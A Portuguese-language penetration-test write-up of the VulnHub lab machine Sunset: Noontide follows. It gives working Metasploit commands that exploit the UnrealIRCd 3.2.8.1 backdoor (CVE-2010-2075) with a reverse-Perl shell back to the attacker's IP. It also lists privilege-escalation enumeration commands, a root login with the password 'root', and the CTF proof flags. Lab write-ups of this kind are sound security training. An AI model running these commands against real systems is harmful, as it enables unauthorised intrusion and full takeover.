zales2004/sunset-noontide-pentestingDescrição Avaliação profissional de teste de penetração da máquina Sunset: Noontide do VulnHub, cobrindo reconhecimento, enumeração de serviços, exploração da CVE-2010-2075, pós-exploração, escalonamento de privilégios e comprometimento total do sistema.
Uma avaliação profissional de teste de penetração e walkthrough de CTF da Sunset: Noontide, uma máquina intencionalmente vulnerável da VulnHub.
Este projeto documenta o ciclo de vida completo do teste de penetração, incluindo reconhecimento, enumeração de serviços, pesquisa de vulnerabilidades, exploração, acesso inicial, pós-exploração, escalonamento de privilégios, prova de comprometimento, avaliação de risco, mapeamento MITRE ATT&CK e remediação.
⚠️ Aviso: Esta avaliação foi realizada contra uma máquina intencionalmente vulnerável em um ambiente de laboratório autorizado. As técnicas e comandos documentados aqui destinam-se apenas a sistemas para os quais foi obtida autorização explícita.
| Componente | Detalhes |
|---|---|
| Alvo | Sunset: Noontide |
| Plataforma | VulnHub |
| IP do Alvo | 10.106.186.186 |
| Nome do Host do Alvo | noontide |
| SO do Alvo | Debian GNU/Linux 10 (Buster) |
| Arquitetura | x86_64 |
| Plataforma do Atacante | Kali Linux |
| IP do Atacante | 10.106.186.204 |
| Tipo de Avaliação | Avaliação de Laboratório Autorizada |
| Risco Geral | CRÍTICO |
| Resultado da Avaliação | Comprometimento Total do Sistema |
Descoberta do Alvo → Enumeração Nmap → UnrealIRCd 3.2.8.1 Identificado → SearchSploit → CVE-2010-2075 Identificado → Exploração Metasploit → Shell de Comando Remoto → Shell como server → Pós-Exploração Linux → Credencial Root Fraca → su root → UID 0 / Acesso Root → Arquivos de Prova de Usuário e Root
A descoberta inicial de rede foi realizada para identificar o alvo vulnerável.
O alvo foi finalmente identificado como:
10.106.186.186
Durante o reconhecimento, 10.106.186.142 foi identificado como o gateway padrão, e não como o alvo pretendido.
Isso destaca a importância de identificar corretamente o alvo antes de realizar testes de segurança adicionais, particularmente em uma rede de laboratório em bridge ou compartilhada.
A detecção de serviço e versão do Nmap foi realizada contra o alvo usando:
nmap -sV 10.106.186.186
O serviço exposto significativo identificado durante a avaliação foi:
6667/tcp open irc UnrealIRCd
Um scan mais detalhado foi então realizado usando:
nmap -sC -sV -Pn -p 6667 10.106.186.186
O serviço foi identificado como:
UnrealIRCd 3.2.8.1
O serviço IRC também reportou:
irc.foonet.com
O serviço UnrealIRCd exposto tornou-se a principal superfície de ataque investigada durante a avaliação.
O SearchSploit foi usado para investigar vulnerabilidades documentadas publicamente associadas à versão do UnrealIRCd descoberta.
Comando:
searchsploit UnrealIRCd 3.2.8.1
O resultado relevante foi:
UnrealIRCd 3.2.8.1 - Backdoor Command Exec
linux/remote/16922.rb
A vulnerabilidade foi identificada como:
CVE-2010-2075
Execução de Comando por Backdoor no UnrealIRCd 3.2.8.1
Crítica
Execução Remota de Comandos
A exploração bem-sucedida do serviço vulnerável permite que um atacante execute comandos remotamente no sistema alvo.
O serviço IRC vulnerável foi explorado usando o Metasploit Framework.
O módulo selecionado foi:
exploit/unix/irc/unreal_ircd_3281_backdoor
Exemplo de configuração:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 10.106.186.186
As tentativas iniciais de payload não produziram uma sessão utilizável.
Um payload Unix reverse-Perl compatível foi subsequentemente selecionado:
set payload cmd/unix/reverse_perl
set LHOST 10.106.186.204
set LPORT 4444
run
O Metasploit reportou que o alvo parecia vulnerável e abriu com sucesso uma sessão de shell de comando.
O shell obtido foi verificado usando:
whoami
Resultado:
server
Isso confirmou a execução remota de comandos bem-sucedida como a conta server.
O diretório de trabalho inicial era:
/home/server/irc/Unreal3.2
Neste estágio, a avaliação progrediu da exploração remota de serviço para a enumeração local de pós-exploração.
Após obter o shell, a enumeração padrão do Linux foi realizada para entender o host comprometido e identificar possíveis caminhos de escalonamento de privilégios.
Comando:
id
Resultado:
uid=1000(server) gid=1000(server)
A conta era um usuário não-root.
Comando:
hostname
Resultado:
noontide
Comando:
uname -a
Resultado:
Linux noontide 4.19.0-10-amd64 x86_64
Comando:
cat /etc/os-release
Resultado:
Debian GNU/Linux 10 (buster)
Esses comandos estabeleceram a identidade atual, nome do host, versão do kernel, sistema operacional e configuração geral do sistema.
Várias verificações padrão de escalonamento de privilégios no Linux foram realizadas.
Comando:
find / -perm -4000 -type f 2>/dev/null
Binários SUID padrão como passwd, chsh, mount, umount, su, chfn, newgrp e gpasswd foram identificados.
Nenhum binário SUID personalizado ou anômalo óbvio foi identificado como o vetor de escalonamento bem-sucedido.
Comando:
sudo -l
Nenhum caminho útil de escalonamento de privilégios baseado em sudo foi identificado a partir da saída disponível.
Comandos:
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
Os trabalhos agendados observados eram trabalhos de sistema padrão no estilo Debian.
Nenhum trabalho cron de root gravável óbvio foi identificado.
Comando:
find / -writable -type f 2>/dev/null | head -100
Os resultados iniciais eram principalmente pseudo-arquivos /proc e não revelaram um vetor prático de escalonamento de privilégios.
Comando:
getcap -r / 2>/dev/null
Nenhum escalonamento de privilégios útil baseado em capacidades foi identificado a partir da saída resultante.
O caminho bem-sucedido de escalonamento de privilégios foi baseado nas credenciais de root intencionalmente fracas configuradas na máquina vulnerável.
A conta root foi acessada usando:
su root
Senha:
root
O acesso root foi então verificado usando:
id
Resultado:
uid=0(root) gid=0(root) groups=0(root)
A identidade também foi confirmada usando:
whoami
Resultado:
root
Isso confirmou o controle administrativo completo do sistema alvo.
O arquivo de prova em nível de usuário estava localizado em:
/home/server/local.txt
Comando:
cat /home/server/local.txt
Resultado:
c53c08b5bf2b0801c5d0c24149826a6e
O arquivo de prova em nível de root estava localizado em:
/root/proof.txt
Comando:
cat /root/proof.txt
Resultado:
ab28c8ca8da1b9ffc2d702ac54221105
A prova de root também retornou:
Thanks for playing! - Felipe Winsnes (@whitecr0wz)
